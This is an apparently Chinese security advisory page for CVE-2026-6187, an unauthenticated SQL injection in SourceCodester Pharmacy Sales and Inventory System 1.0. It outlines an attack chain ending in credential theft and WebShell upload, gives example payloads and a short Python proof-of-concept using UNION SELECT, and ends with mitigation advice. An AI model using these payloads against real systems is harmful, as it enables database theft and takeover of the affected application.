IPBUF安全漏洞报告
English
CVE-2026-6187 CVSS 7.3 高危

CVE-2026-6187 SourceCodester药店系统SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-6187
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入SourceCodesterPharmacy Sales System高危漏洞远程代码执行

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本中的/ajax.php?action=chk_prod_availability文件存在SQL注入漏洞。由于未对ID参数进行充分过滤,未经身份认证的远程攻击者可利用该漏洞执行恶意SQL语句,进而窃取数据库敏感信息或破坏数据完整性。

技术细节

该漏洞源于应用程序在处理产品可用性检查请求时,未能正确过滤用户输入。具体受影响的文件为/ajax.php,当action参数为chk_prod_availability时,系统直接获取客户端提交的ID参数并将其拼接到SQL查询语句中,未使用预编译语句或有效的转义机制。攻击者可通过构造包含SQL语法(如单引号、注释符、UNION查询)的恶意Payload,欺骗后端数据库执行非预期的命令。由于该漏洞无需用户交互且无需权限认证,攻击者可轻易利用此漏洞读取数据库结构、获取管理员账户凭据或篡改业务数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统正在运行SourceCodester Pharmacy Sales and Inventory System 1.0,并定位到/ajax.php接口。
STEP 2
2. 漏洞探测
攻击者向/ajax.php?action=chk_prod_availability发送带有恶意SQL语句的ID参数(如1' OR 1=1),测试是否存在SQL注入。
STEP 3
3. 数据提取
确认漏洞存在后,攻击者利用UNION SELECT查询获取数据库版本、表名、列名及敏感数据(如管理员密码)。
STEP 4
4. 获取权限
利用获取的管理员凭据登录后台,进一步控制业务系统或上传WebShell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target_url = f"{url}/ajax.php" # Payload to extract database version payload = { "action": "chk_prod_availability", "ID": "1' UNION SELECT NULL, NULL, version(), NULL-- -" } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Potential SQL Injection found!") print(f"[+] Response: {response.text[:200]}") else: print("[-] No response or error") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1/pharmacy_sales" check_sqli(target)

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即限制/ajax.php文件的访问权限或在网关处实施拦截。开发人员应修复代码,对用户传入的ID参数进行强制整数转换,避免直接拼接SQL语句。在官方补丁未发布前,可在数据库层面限制当前账户的敏感操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表